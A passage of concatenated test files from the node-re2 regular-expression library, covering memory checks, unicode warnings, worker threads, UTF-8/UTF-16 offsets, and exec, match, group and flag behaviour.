total', heapUsed: 'heap used', external: 'external', arrayBuffers: 'array buffers', rss: 'resident set size' }, maxLabelSize = Math.max( ...Array.from(Object.values(labels)).map(label => label.length) ); const report = () => { const memoryUsage = process.memoryUsage(), previousMax = {...maxMemory}; console.log( (first ? '' : '\r' + cursorUp(6)) + ''.padStart(maxLabelSize + 1), 'Current'.padStart(15), 'Max'.padStart(15) ); for (const name in maxMemory) { const prefix = previousMax[name] && previousMax[name] < memoryUsage[name] ? NOTE : RESET; console.log( (labels[name] + ':').padStart(maxLabelSize + 1), prefix + humanizeNumber(memoryUsage[name]).padStart(15) + RESET, humanizeNumber(maxMemory[name]).padStart(15) ); } for (const [name, value] of Object.entries(maxMemory)) { maxMemory[name] = Math.max(value, memoryUsage[name]); } first = false; }; for (;;) { const re2 = new RE2(randomAlpha(), 'g'); let s = ''; for (let i = 0; i < N; ++i) s += randomAlpha(); let n = 0; for (const _ of s.matchAll(re2)) ++n; re2.lastIndex = 0; const r = s.replace(re2, ''); if (r.length + n != s.length) { console.log( 'ERROR!', 's:', s.length, 'r:', r.length, 'n:', n, 're2:', re2.toString() ); break; } report(); } uhop-node-re2-2d93a5d/tests/manual/test-unicode-warning.mjs000066400000000000000000000023411521435504200237140ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../../re2.js'; // tests // these tests modify the global state of RE2 and cannot be run in parallel with other tests in the same process test('test new unicode warnOnce', t => { let errorMessage = ''; const oldConsole = console; console = {error: msg => (errorMessage = msg)}; RE2.unicodeWarningLevel = 'warnOnce'; let a = new RE2('.*'); t.ok(errorMessage); errorMessage = ''; a = new RE2('.?'); t.notOk(errorMessage); RE2.unicodeWarningLevel = 'warnOnce'; a = new RE2('.+'); t.ok(errorMessage); RE2.unicodeWarningLevel = 'nothing'; console = oldConsole; }); test('test new unicode warn', t => { let errorMessage = ''; const oldConsole = console; console = {error: msg => (errorMessage = msg)}; RE2.unicodeWarningLevel = 'warn'; let a = new RE2('.*'); t.ok(errorMessage); errorMessage = ''; a = new RE2('.?'); t.ok(errorMessage); RE2.unicodeWarningLevel = 'nothing'; console = oldConsole; }); test('test new unicode throw', t => { RE2.unicodeWarningLevel = 'throw'; try { let a = new RE2('.'); t.fail(); // shouldn't be here } catch (e) { t.ok(e instanceof SyntaxError); } RE2.unicodeWarningLevel = 'nothing'; }); uhop-node-re2-2d93a5d/tests/manual/worker.js000066400000000000000000000014451521435504200210060ustar00rootroot00000000000000'use strict'; const {Worker, isMainThread} = require('worker_threads'); const RE2 = require('../../re2'); if (isMainThread) { // This re-loads the current file inside a Worker instance. console.log('Inside Master!'); const worker = new Worker(__filename); worker.on('exit', code => { console.log('Exit code:', code); test('#2'); }); test('#1'); } else { console.log('Inside Worker!'); test(); } function test(msg) { msg && console.log(isMainThread ? 'Main' : 'Worker', msg); const a = new RE2('^\\d+$'); console.log( isMainThread, a.test('123'), a.test('abc'), a.test('123abc'), a instanceof RE2 ); const b = RE2('^\\d+$'); console.log( isMainThread, b.test('123'), b.test('abc'), b.test('123abc'), b instanceof RE2 ); } uhop-node-re2-2d93a5d/tests/test-ascii-fast-path.mjs000066400000000000000000000063571521435504200223360ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../re2.js'; // The ASCII fast path: when an input string is pure ASCII, byte offsets equal // UTF-16 offsets, so the C++ side skips the UTF-8 -> UTF-16 scan. These tests // pin the optimization as behavior-preserving: // - for ASCII strings, reported offsets must equal the equivalent Buffer's // byte offsets (the byte-native reference path); // - for non-ASCII strings, offsets must still be UTF-16 (conversion happens), // i.e. they must differ from the Buffer's byte offsets. test('ascii fast path: exec offsets match buffer offsets (g, d)', t => { const s = 'ab 12 cd 345 ef'; const b = Buffer.from(s); const reS = new RE2('(\\d+)', 'dg'), reB = new RE2('(\\d+)', 'dg'); for (;;) { const rs = reS.exec(s), rb = reB.exec(b); if (rs === null) { t.equal(rb, null); break; } t.equal(rs.index, rb.index); t.equal(reS.lastIndex, reB.lastIndex); t.deepEqual(Array.from(rs.indices), Array.from(rb.indices)); } }); test('non-ascii: exec offsets are UTF-16, differ from buffer bytes', t => { // 'é' (U+00E9) is 1 UTF-16 unit but 2 UTF-8 bytes. const s = 'né 12'; const rs = new RE2('(\\d+)', 'd').exec(s); const rb = new RE2('(\\d+)', 'd').exec(Buffer.from(s)); t.equal(rs.index, 3); // n, é, space -> 3 UTF-16 units t.equal(rb.index, 4); // n(1) é(2) space(1) -> 4 bytes t.deepEqual(Array.from(rs.indices), [ [3, 5], [3, 5] ]); t.deepEqual(Array.from(rb.indices), [ [4, 6], [4, 6] ]); }); test('non-ascii: global exec lastIndex stays UTF-16 across matches', t => { const re = new RE2('\\d', 'g'); const s = 'é1é2'; // é at 0 and 2, digits at 1 and 3 let r = re.exec(s); t.equal(r.index, 1); t.equal(re.lastIndex, 2); r = re.exec(s); t.equal(r.index, 3); t.equal(re.lastIndex, 4); t.equal(re.exec(s), null); }); test('ascii fast path: match index matches buffer', t => { const s = 'xx99yy'; t.equal(new RE2('(\\d+)').match(s).index, 2); t.equal(new RE2('(\\d+)').match(Buffer.from(s)).index, 2); }); test('ascii fast path: search index matches buffer', t => { const s = 'abc12'; t.equal(new RE2('\\d').search(s), 3); t.equal(new RE2('\\d').search(Buffer.from(s)), 3); }); test('non-ascii: search index is UTF-16, differs from buffer', t => { t.equal(new RE2('\\d').search('é12'), 1); t.equal(new RE2('\\d').search(Buffer.from('é12')), 2); }); test('ascii fast path: replace function receives UTF-16 offsets', t => { const offsets = []; const out = new RE2('\\d', 'g').replace('a1b2c3', (_m, off) => { offsets.push(off); return '#'; }); t.equal(out, 'a#b#c#'); t.deepEqual(offsets, [1, 3, 5]); }); test('non-ascii: replace function offset is UTF-16', t => { const offsets = []; const out = new RE2('\\d', 'g').replace('é1é2', (_m, off) => { offsets.push(off); return '#'; }); t.equal(out, 'é#é#'); t.deepEqual(offsets, [1, 3]); }); test('ascii fast path: sticky lastIndex advancement matches buffer', t => { const s = 'a b c'; const reS = new RE2('\\S', 'y'), reB = new RE2('\\S', 'y'); reS.lastIndex = reB.lastIndex = 2; const rs = reS.exec(s), rb = reB.exec(Buffer.from(s)); t.equal(rs.index, rb.index); t.equal(reS.lastIndex, reB.lastIndex); }); uhop-node-re2-2d93a5d/tests/test-cjs.cjs000066400000000000000000000045641521435504200201240ustar00rootroot00000000000000const {test} = require('tape-six'); const RE2 = require('../re2.js'); test('CJS require', t => { t.ok(RE2, 'RE2 is loaded'); t.equal(typeof RE2, 'function', 'RE2 is a constructor'); }); test('CJS construct and test', t => { const re = new RE2('a(b*)', 'u'); t.ok(re instanceof RE2, 'instanceof RE2'); t.ok(re.test('aBb'), 'test matches'); t.notOk(re.test('xyz'), 'test rejects non-match'); }); test('CJS exec', t => { const re = new RE2('(\\d+)', 'u'); const result = re.exec('abc 123 def'); t.ok(result, 'exec returns a result'); t.equal(result[0], '123'); t.equal(result[1], '123'); t.equal(result.index, 4); }); test('CJS exec with Buffer', t => { const re = new RE2('(\\d+)', 'u'); const result = re.exec(Buffer.from('abc 123 def')); t.ok(result, 'exec returns a result'); t.ok(Buffer.isBuffer(result[0]), 'result is a Buffer'); t.equal(result[0].toString(), '123'); }); test('CJS match', t => { const re = new RE2('\\w+', 'gu'); const result = 'hello world'.match(re); t.ok(result, 'match returns a result'); t.deepEqual(result, ['hello', 'world']); }); test('CJS search', t => { const re = new RE2('world', 'u'); const idx = 'hello world'.search(re); t.equal(idx, 6); }); test('CJS replace', t => { const re = new RE2('world', 'u'); const result = 'hello world'.replace(re, 'RE2'); t.equal(result, 'hello RE2'); }); test('CJS split', t => { const re = new RE2('\\s+', 'u'); const result = 'a b c'.split(re); t.deepEqual(result, ['a', 'b', 'c']); }); test('CJS named groups', t => { const re = new RE2('(?P\\d{4})-(?P\\d{2})', 'u'); const result = re.exec('2025-03'); t.ok(result, 'exec returns a result'); t.equal(result.groups.year, '2025'); t.equal(result.groups.month, '03'); }); test('CJS RE2.Set', t => { const set = new RE2.Set(['abc', 'def', 'ghi'], 'u'); t.ok(set, 'set is created'); t.ok(set.test('abc'), 'test matches first pattern'); t.deepEqual(set.match('abcghi'), [0, 2]); }); test('CJS named import pattern', t => { const {RE2: NamedRE2} = require('../re2.js'); t.equal(NamedRE2, RE2, 'RE2.RE2 === RE2'); const re = new NamedRE2('abc', 'u'); t.ok(re instanceof RE2, 'instance created via named import'); t.ok(re.test('abc'), 'works correctly'); }); test('CJS static helpers', t => { t.equal(RE2.getUtf8Length('hello'), 5); t.equal(RE2.getUtf16Length(Buffer.from('hello')), 5); }); uhop-node-re2-2d93a5d/tests/test-exec.mjs000066400000000000000000000241201521435504200202710ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../re2.js'; // tests // These tests are copied from MDN: // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec test('exec basic', t => { const re = new RE2('quick\\s(brown).+?(jumps)', 'ig'); t.equal(re.source, 'quick\\s(brown).+?(jumps)'); t.ok(re.ignoreCase); t.ok(re.global); t.ok(!re.multiline); const result = re.exec('The Quick Brown Fox Jumps Over The Lazy Dog'); t.deepEqual(Array.from(result), ['Quick Brown Fox Jumps', 'Brown', 'Jumps']); t.equal(result.index, 4); t.equal(result.input, 'The Quick Brown Fox Jumps Over The Lazy Dog'); t.equal(re.lastIndex, 25); }); test('exec succ', t => { const str = 'abbcdefabh'; const re = new RE2('ab*', 'g'); let result = re.exec(str); t.ok(result); t.equal(result[0], 'abb'); t.equal(result.index, 0); t.equal(re.lastIndex, 3); result = re.exec(str); t.ok(result); t.equal(result[0], 'ab'); t.equal(result.index, 7); t.equal(re.lastIndex, 9); result = re.exec(str); t.notOk(result); }); test('exec simple', t => { const re = new RE2('(hello \\S+)'); const result = re.exec('This is a hello world!'); t.equal(result[1], 'hello world!'); }); test('exec fail', t => { const re = new RE2('(a+)?(b+)?'); let result = re.exec('aaabb'); t.equal(result[1], 'aaa'); t.equal(result[2], 'bb'); result = re.exec('aaacbb'); t.equal(result[1], 'aaa'); t.equal(result[2], undefined); t.equal(result.length, 3); }); test('exec anchored to beginning', t => { const re = RE2('^hello', 'g'); const result = re.exec('hellohello'); t.deepEqual(Array.from(result), ['hello']); t.equal(result.index, 0); t.equal(re.lastIndex, 5); t.equal(re.exec('hellohello'), null); }); test('exec invalid', t => { const re = RE2(''); try { re.exec({ toString() { throw 'corner'; } }); t.fail(); // shouldn't be here } catch (e) { t.equal(e, 'corner'); } }); test('exec anchor 1', t => { const re = new RE2('b|^a', 'g'); let result = re.exec('aabc'); t.ok(result); t.equal(result.index, 0); t.equal(re.lastIndex, 1); result = re.exec('aabc'); t.ok(result); t.equal(result.index, 2); t.equal(re.lastIndex, 3); result = re.exec('aabc'); t.notOk(result); }); test('exec anchor 2', t => { const re = new RE2('(?:^a)', 'g'); let result = re.exec('aabc'); t.ok(result); t.equal(result.index, 0); t.equal(re.lastIndex, 1); result = re.exec('aabc'); t.notOk(result); }); // Unicode tests test('exec unicode', t => { const re = new RE2('охотник\\s(желает).+?(где)', 'ig'); t.equal(re.source, 'охотник\\s(желает).+?(где)'); t.ok(re.ignoreCase); t.ok(re.global); t.ok(!re.multiline); const result = re.exec('Каждый Охотник Желает Знать Где Сидит Фазан'); t.deepEqual(Array.from(result), [ 'Охотник Желает Знать Где', 'Желает', 'Где' ]); t.equal(result.index, 7); t.equal(result.input, 'Каждый Охотник Желает Знать Где Сидит Фазан'); t.equal(re.lastIndex, 31); t.equal( result.input.substr(result.index), 'Охотник Желает Знать Где Сидит Фазан' ); t.equal(result.input.substr(re.lastIndex), ' Сидит Фазан'); }); test('exec unicode subsequent', t => { const str = 'аббвгдеабё'; const re = new RE2('аб*', 'g'); let result = re.exec(str); t.ok(result); t.equal(result[0], 'абб'); t.equal(result.index, 0); t.equal(re.lastIndex, 3); result = re.exec(str); t.ok(result); t.equal(result[0], 'аб'); t.equal(result.index, 7); t.equal(re.lastIndex, 9); result = re.exec(str); t.notOk(result); }); test('exec unicode supplementary', t => { const re = new RE2('\\u{1F603}', 'g'); t.equal(re.source, '\\u{1F603}'); t.notOk(re.ignoreCase); t.ok(re.global); t.notOk(re.multiline); const result = re.exec('\u{1F603}'); // 1F603 is the SMILING FACE WITH OPEN MOUTH emoji t.deepEqual(Array.from(result), ['\u{1F603}']); t.equal(result.index, 0); t.equal(result.input, '\u{1F603}'); t.equal(re.lastIndex, 2); const re2 = new RE2('.', 'g'); t.equal(re2.source, '.'); t.notOk(re2.ignoreCase); t.ok(re2.global); t.notOk(re2.multiline); const result2 = re2.exec('\u{1F603}'); t.deepEqual(Array.from(result2), ['\u{1F603}']); t.equal(result2.index, 0); t.equal(result2.input, '\u{1F603}'); t.equal(re2.lastIndex, 2); const re3 = new RE2('[\u{1F603}-\u{1F605}]', 'g'); t.equal(re3.source, '[\u{1F603}-\u{1F605}]'); t.notOk(re3.ignoreCase); t.ok(re3.global); t.notOk(re3.multiline); const result3 = re3.exec('\u{1F604}'); t.deepEqual(Array.from(result3), ['\u{1F604}']); t.equal(result3.index, 0); t.equal(result3.input, '\u{1F604}'); t.equal(re3.lastIndex, 2); }); // Buffer tests test('exec buffer', t => { const re = new RE2('охотник\\s(желает).+?(где)', 'ig'); const buf = Buffer.from('Каждый Охотник Желает Знать Где Сидит Фазан'); const result = re.exec(buf); t.equal(result.length, 3); t.ok(result[0] instanceof Buffer); t.ok(result[1] instanceof Buffer); t.ok(result[2] instanceof Buffer); t.equal(result[0].toString(), 'Охотник Желает Знать Где'); t.equal(result[1].toString(), 'Желает'); t.equal(result[2].toString(), 'Где'); t.equal(result.index, 13); t.ok(result.input instanceof Buffer); t.equal( result.input.toString(), 'Каждый Охотник Желает Знать Где Сидит Фазан' ); t.equal(re.lastIndex, 58); t.equal( result.input.toString('utf8', result.index), 'Охотник Желает Знать Где Сидит Фазан' ); t.equal(result.input.toString('utf8', re.lastIndex), ' Сидит Фазан'); }); // Sticky tests test('exec sticky', t => { const re = new RE2('\\s+', 'y'); t.equal(re.exec('Hello world, how are you?'), null); re.lastIndex = 5; const result = re.exec('Hello world, how are you?'); t.deepEqual(Array.from(result), [' ']); t.equal(result.index, 5); t.equal(re.lastIndex, 6); const re2 = new RE2('\\s+', 'gy'); t.equal(re2.exec('Hello world, how are you?'), null); re2.lastIndex = 5; const result2 = re2.exec('Hello world, how are you?'); t.deepEqual(Array.from(result2), [' ']); t.equal(result2.index, 5); t.equal(re2.lastIndex, 6); }); test('exec supplemental', t => { const re = new RE2('\\w+', 'g'); const testString = '🤡🤡🤡 Hello clown world!'; let result = re.exec(testString); t.deepEqual(Array.from(result), ['Hello']); result = re.exec(testString); t.deepEqual(Array.from(result), ['clown']); result = re.exec(testString); t.deepEqual(Array.from(result), ['world']); }); // Multiline test test('exec multiline', t => { const re = new RE2('^xy', 'm'), pattern = ` xy1 xy2 (at start of line) xy3`; const result = re.exec(pattern); t.ok(result); t.equal(result[0], 'xy'); t.ok(result.index > 3); t.ok(result.index < pattern.length - 4); t.equal( result[0], pattern.substring(result.index, result.index + result[0].length) ); }); // dotAll tests test('exec dotAll', t => { t.ok(new RE2('a.c').test('abc')); t.ok(new RE2(/a.c/).test('a c')); t.notOk(new RE2(/a.c/).test('a\nc')); t.ok(new RE2('a.c', 's').test('abc')); t.ok(new RE2(/a.c/s).test('a c')); t.ok(new RE2(/a.c/s).test('a\nc')); }); // hasIndices tests test('exec hasIndices', t => { t.notOk(new RE2('1').hasIndices); t.notOk(new RE2(/1/).hasIndices); const re = new RE2('(aa)(?b)?(?ccc)', 'd'); t.ok(re.hasIndices); let result = re.exec('1aabccc2'); t.equal(result.length, 4); t.equal(result.input, '1aabccc2'); t.equal(result.index, 1); t.equal(Object.keys(result.groups).length, 2); t.equal(result.groups.b, 'b'); t.equal(result.groups.c, 'ccc'); t.equal(result[0], 'aabccc'); t.equal(result[1], 'aa'); t.equal(result[2], 'b'); t.equal(result[3], 'ccc'); t.equal(result.indices.length, 4); t.deepEqual(Array.from(result.indices), [ [1, 7], [1, 3], [3, 4], [4, 7] ]); t.equal(Object.keys(result.indices.groups).length, 2); t.deepEqual(result.indices.groups.b, [3, 4]); t.deepEqual(result.indices.groups.c, [4, 7]); result = re.exec('1aaccc2'); t.equal(result.length, 4); t.equal(result.input, '1aaccc2'); t.equal(result.index, 1); t.equal(Object.keys(result.groups).length, 2); t.equal(result.groups.b, undefined); t.equal(result.groups.c, 'ccc'); t.equal(result[0], 'aaccc'); t.equal(result[1], 'aa'); t.equal(result[2], undefined); t.equal(result[3], 'ccc'); t.equal(result.indices.length, 4); t.deepEqual(Array.from(result.indices), [[1, 6], [1, 3], undefined, [3, 6]]); t.equal(Object.keys(result.indices.groups).length, 2); t.deepEqual(result.indices.groups.b, undefined); t.deepEqual(result.indices.groups.c, [3, 6]); try { const re = new RE2(new RegExp('1', 'd')); t.ok(re.hasIndices); } catch (e) { // squelch } }); test('exec hasIndices lastIndex', t => { const re2 = new RE2('a', 'dg'); t.equal(re2.lastIndex, 0); let result = re2.exec('abca'); t.equal(re2.lastIndex, 1); t.equal(result.index, 0); t.deepEqual(Array.from(result.indices), [[0, 1]]); result = re2.exec('abca'); t.equal(re2.lastIndex, 4); t.equal(result.index, 3); t.deepEqual(Array.from(result.indices), [[3, 4]]); result = re2.exec('abca'); t.equal(re2.lastIndex, 0); t.equal(result, null); }); test('exec buffer vs string', t => { const re2 = new RE2('.', 'g'), pattern = 'abcdefg'; re2.lastIndex = 2; const result1 = re2.exec(pattern); re2.lastIndex = 2; const result2 = re2.exec(Buffer.from(pattern)); t.equal(result1[0], 'c'); t.deepEqual(result2[0], Buffer.from('c')); t.equal(result1.index, 2); t.equal(result2.index, 2); }); test('exec found empty string', t => { const re2 = new RE2('^.*?'), match = re2.exec(''); t.equal(match[0], ''); t.equal(match.index, 0); t.equal(match.input, ''); t.equal(match.groups, undefined); }); uhop-node-re2-2d93a5d/tests/test-general.mjs000066400000000000000000000142111521435504200207620ustar00rootroot00000000000000import test from 'tape-six'; import {default as RE2} from '../re2.js'; // utilities const compare = (re1, re2, t) => { // compares regular expression objects t.equal(re1.source, re2.source); t.equal(re1.global, re2.global); t.equal(re1.ignoreCase, re2.ignoreCase); t.equal(re1.multiline, re2.multiline); // (t.equal(re1.unicode, re2.unicode)); t.equal(re1.sticky, re2.sticky); }; // tests test('general ctr', t => { t.ok(!!RE2); t.ok(!!RE2.prototype); t.equal(RE2.toString(), 'function RE2() { [native code] }'); }); test('general inst', t => { let re1 = new RE2('\\d+'); t.ok(!!re1); t.ok(re1 instanceof RE2); let re2 = RE2('\\d+'); t.ok(!!re2); t.ok(re2 instanceof RE2); compare(re1, re2, t); re1 = new RE2('\\d+', 'm'); t.ok(!!re1); t.ok(re1 instanceof RE2); re2 = RE2('\\d+', 'm'); t.ok(!!re2); t.ok(re2 instanceof RE2); compare(re1, re2, t); }); test('general inst errors', t => { try { const re = new RE2([]); t.fail(); // shouldn't be here } catch (e) { t.ok(e instanceof TypeError); } try { const re = new RE2({}); t.fail(); // shouldn't be here } catch (e) { t.ok(e instanceof TypeError); } try { const re = new RE2(new Date()); t.fail(); // shouldn't be here } catch (e) { t.ok(e instanceof TypeError); } try { const re = new RE2(null); t.fail(); // shouldn't be here } catch (e) { t.ok(e instanceof TypeError); } try { const re = new RE2(); t.fail(); // shouldn't be here } catch (e) { t.ok(e instanceof TypeError); } try { const re = RE2(); t.fail(); // shouldn't be here } catch (e) { t.ok(e instanceof TypeError); } try { const re = RE2({ toString() { throw 'corner'; } }); t.fail(); // shouldn't be here } catch (e) { t.ok(e instanceof TypeError); } }); test('general in', t => { const re = new RE2('\\d+'); t.ok('exec' in re); t.ok('test' in re); t.ok('match' in re); t.ok('replace' in re); t.ok('search' in re); t.ok('split' in re); t.ok('source' in re); t.ok('flags' in re); t.ok('global' in re); t.ok('ignoreCase' in re); t.ok('multiline' in re); t.ok('dotAll' in re); t.ok('sticky' in re); t.ok('lastIndex' in re); }); test('general present', t => { const re = new RE2('\\d+'); t.equal(typeof re.exec, 'function'); t.equal(typeof re.test, 'function'); t.equal(typeof re.match, 'function'); t.equal(typeof re.replace, 'function'); t.equal(typeof re.search, 'function'); t.equal(typeof re.split, 'function'); t.equal(typeof re.source, 'string'); t.equal(typeof re.flags, 'string'); t.equal(typeof re.global, 'boolean'); t.equal(typeof re.ignoreCase, 'boolean'); t.equal(typeof re.multiline, 'boolean'); t.equal(typeof re.dotAll, 'boolean'); t.equal(typeof re.sticky, 'boolean'); t.equal(typeof re.lastIndex, 'number'); }); test('general lastIndex', t => { const re = new RE2('\\d+'); t.equal(re.lastIndex, 0); re.lastIndex = 5; t.equal(re.lastIndex, 5); re.lastIndex = 0; t.equal(re.lastIndex, 0); }); test('general RegExp', t => { let re1 = new RegExp('\\d+'); let re2 = new RE2('\\d+'); compare(re1, re2, t); re2 = new RE2(re1); compare(re1, re2, t); re1 = new RegExp('a', 'ig'); re2 = new RE2('a', 'ig'); compare(re1, re2, t); re2 = new RE2(re1); compare(re1, re2, t); re1 = /\s/gm; re2 = new RE2('\\s', 'mg'); compare(re1, re2, t); re2 = new RE2(re1); compare(re1, re2, t); re2 = new RE2(/\s/gm); compare(/\s/gm, re2, t); re1 = new RE2('b', 'gm'); re2 = new RE2(re1); compare(re1, re2, t); re1 = new RE2('b', 'sgm'); re2 = new RE2(re1); compare(re1, re2, t); re2 = new RE2(/\s/gms); compare(/\s/gms, re2, t); }); test('general utf8', t => { const s = 'Привет!'; t.equal(s.length, 7); t.equal(RE2.getUtf8Length(s), 13); const b = Buffer.from(s); t.equal(b.length, 13); t.equal(RE2.getUtf16Length(b), 7); const s2 = '\u{1F603}'; t.equal(s2.length, 2); t.equal(RE2.getUtf8Length(s2), 4); const b2 = Buffer.from(s2); t.equal(b2.length, 4); t.equal(RE2.getUtf16Length(b2), 2); const s3 = '\uD83D'; t.equal(s3.length, 1); t.equal(RE2.getUtf8Length(s3), 3); const s4 = '🤡'; t.equal(s4.length, 2); t.equal(RE2.getUtf8Length(s4), 4); t.equal(RE2.getUtf16Length(Buffer.from(s4, 'utf8')), s4.length); const b3 = Buffer.from([0xf0]); t.equal(b3.length, 1); t.equal(RE2.getUtf16Length(b3), 2); try { RE2.getUtf8Length({ toString() { throw 'corner'; } }); t.fail(); // shouldn't be here } catch (e) { t.equal(e, 'corner'); } t.equal( RE2.getUtf16Length({ toString() { throw 'corner'; } }), -1 ); }); test('general flags', t => { let re = new RE2('a', 'u'); t.equal(re.flags, 'u'); re = new RE2('a', 'iu'); t.equal(re.flags, 'iu'); re = new RE2('a', 'mu'); t.equal(re.flags, 'mu'); re = new RE2('a', 'gu'); t.equal(re.flags, 'gu'); re = new RE2('a', 'yu'); t.equal(re.flags, 'uy'); re = new RE2('a', 'yiu'); t.equal(re.flags, 'iuy'); re = new RE2('a', 'yigu'); t.equal(re.flags, 'giuy'); re = new RE2('a', 'miu'); t.equal(re.flags, 'imu'); re = new RE2('a', 'ygu'); t.equal(re.flags, 'guy'); re = new RE2('a', 'myu'); t.equal(re.flags, 'muy'); re = new RE2('a', 'migyu'); t.equal(re.flags, 'gimuy'); re = new RE2('a', 'smigyu'); t.equal(re.flags, 'gimsuy'); }); test('general flags 2nd', t => { let re = new RE2(/a/, 'u'); t.equal(re.flags, 'u'); re = new RE2(/a/gm, 'iu'); t.equal(re.flags, 'iu'); re = new RE2(/a/gi, 'mu'); t.equal(re.flags, 'mu'); re = new RE2(/a/g, 'gu'); t.equal(re.flags, 'gu'); re = new RE2(/a/m, 'yu'); t.equal(re.flags, 'uy'); re = new RE2(/a/, 'yiu'); t.equal(re.flags, 'iuy'); re = new RE2(/a/gim, 'yigu'); t.equal(re.flags, 'giuy'); re = new RE2(/a/gm, 'miu'); t.equal(re.flags, 'imu'); re = new RE2(/a/i, 'ygu'); t.equal(re.flags, 'guy'); re = new RE2(/a/g, 'myu'); t.equal(re.flags, 'muy'); re = new RE2(/a/, 'migyu'); t.equal(re.flags, 'gimuy'); re = new RE2(/a/s, 'smigyu'); t.equal(re.flags, 'gimsuy'); }); uhop-node-re2-2d93a5d/tests/test-groups.mjs000066400000000000000000000044551521435504200206750ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../re2.js'; // tests test('groups normal', t => { t.equal(RE2('(?\\d)').test('9'), true); t.deepEqual(RE2('(?-)', 'g').match('a-b-c'), ['-', '-']); t.deepEqual(RE2('(?-)').split('a-b-c'), ['a', '-', 'b', '-', 'c']); t.equal(RE2('(?-)', 'g').search('a-b-c'), 1); }); test('groups exec', t => { let result = new RE2('(\\d)').exec('k9'); t.ok(result); t.equal(result[0], '9'); t.equal(result[1], '9'); t.equal(result.index, 1); t.equal(result.input, 'k9'); t.equal(typeof result.groups, 'undefined'); result = new RE2('(?\\d)').exec('k9'); t.ok(result); t.equal(result[0], '9'); t.equal(result[1], '9'); t.equal(result.index, 1); t.equal(result.input, 'k9'); t.deepEqual(result.groups, {a: '9'}); }); test('groups match', t => { let result = new RE2('(\\d)').match('k9'); t.ok(result); t.equal(result[0], '9'); t.equal(result[1], '9'); t.equal(result.index, 1); t.equal(result.input, 'k9'); t.equal(typeof result.groups, 'undefined'); result = new RE2('(?\\d)').match('k9'); t.ok(result); t.equal(result[0], '9'); t.equal(result[1], '9'); t.equal(result.index, 1); t.equal(result.input, 'k9'); t.deepEqual(result.groups, {a: '9'}); }); test('groups replace', t => { t.equal(RE2('(?\\w)(?\\d)', 'g').replace('a1b2c', '$2$1'), '1a2bc'); t.equal(RE2('(?\\w)(?\\d)', 'g').replace('a1b2c', '$$'), '1a2bc'); t.equal( RE2('(?\\w)(?\\d)', 'g').replace('a1b2c', replacerByNumbers), '1a2bc' ); t.equal( RE2('(?\\w)(?\\d)', 'g').replace('a1b2c', replacerByNames), '1a2bc' ); function replacerByNumbers(match, group1, group2, index, source, groups) { return group2 + group1; } function replacerByNames(match, group1, group2, index, source, groups) { return groups.d + groups.w; } }); test('groups invalid', t => { try { RE2('(?<>.)'); t.fail(); // shouldn'be here } catch (e) { t.ok(e instanceof SyntaxError); } // TODO: do we need to enforce the correct id? // try { // RE2('(?<1>.)'); // t.fail(); // shouldn'be here // } catch(e) { // eval(t.TEST("e instanceof SyntaxError")); // } try { RE2('(?.)(?.)'); t.fail(); // shouldn'be here } catch (e) { t.ok(e instanceof SyntaxError); } }); uhop-node-re2-2d93a5d/tests/test-invalid.mjs000066400000000000000000000013731521435504200210000ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../re2.js'; // tests test('invalid', t => { let threw; // Backreferences threw = false; try { new RE2(/(a)\1/); } catch (e) { threw = true; t.ok(e instanceof SyntaxError); t.equal(e.message, 'invalid escape sequence: \\1'); } t.ok(threw); // Lookahead assertions // Positive threw = false; try { new RE2(/a(?=b)/); } catch (e) { threw = true; t.ok(e instanceof SyntaxError); t.equal(e.message, 'invalid perl operator: (?='); } t.ok(threw); // Negative threw = false; try { new RE2(/a(?!b)/); } catch (e) { threw = true; t.ok(e instanceof SyntaxError); t.equal(e.message, 'invalid perl operator: (?!'); } t.ok(threw); }); uhop-node-re2-2d93a5d/tests/test-match.mjs000066400000000000000000000075321521435504200204510ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../re2.js'; // tests // These tests are copied from MDN: // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match test('test match', t => { const str = 'For more information, see Chapter 3.4.5.1'; const re = new RE2(/(chapter \d+(\.\d)*)/i); const result = re.match(str); t.equal(result.input, str); t.equal(result.index, 26); t.equal(result.length, 3); t.equal(result[0], 'Chapter 3.4.5.1'); t.equal(result[1], 'Chapter 3.4.5.1'); t.equal(result[2], '.1'); }); test('test_matchGlobal', t => { const re = new RE2(/[A-E]/gi); const result = re.match( 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' ); t.deepEqual(result, ['A', 'B', 'C', 'D', 'E', 'a', 'b', 'c', 'd', 'e']); }); test('test match fail', t => { const re = new RE2('(a+)?(b+)?'); let result = re.match('aaabb'); t.equal(result[1], 'aaa'); t.equal(result[2], 'bb'); result = re.match('aaacbb'); t.equal(result[1], 'aaa'); t.equal(result[2], undefined); }); test('test match invalid', t => { const re = RE2(''); try { re.match({ toString() { throw 'corner'; } }); t.fail(); // shouldn't be here } catch (e) { t.equal(e, 'corner'); } }); // Unicode tests test('test match unicode', t => { const str = 'Это ГЛАВА 3.4.5.1'; const re = new RE2(/(глава \d+(\.\d)*)/i); const result = re.match(str); t.equal(result.input, str); t.equal(result.index, 4); t.equal(result.length, 3); t.equal(result[0], 'ГЛАВА 3.4.5.1'); t.equal(result[1], 'ГЛАВА 3.4.5.1'); t.equal(result[2], '.1'); }); // Buffer tests test('test match buffer', t => { const buf = Buffer.from('Это ГЛАВА 3.4.5.1'); const re = new RE2(/(глава \d+(\.\d)*)/i); const result = re.match(buf); t.ok(result.input instanceof Buffer); t.equal(result.length, 3); t.ok(result[0] instanceof Buffer); t.ok(result[1] instanceof Buffer); t.ok(result[2] instanceof Buffer); t.equal(result.input, buf); t.equal(result.index, 7); t.equal(result.input.toString('utf8', result.index), 'ГЛАВА 3.4.5.1'); t.equal(result[0].toString(), 'ГЛАВА 3.4.5.1'); t.equal(result[1].toString(), 'ГЛАВА 3.4.5.1'); t.equal(result[2].toString(), '.1'); }); // Sticky tests test('test match sticky', t => { const re = new RE2('\\s+', 'y'); t.equal(re.match('Hello world, how are you?'), null); re.lastIndex = 5; const result = re.match('Hello world, how are you?'); t.deepEqual(Array.from(result), [' ']); t.equal(result.index, 5); t.equal(re.lastIndex, 6); const re2 = new RE2('\\s+', 'gy'); 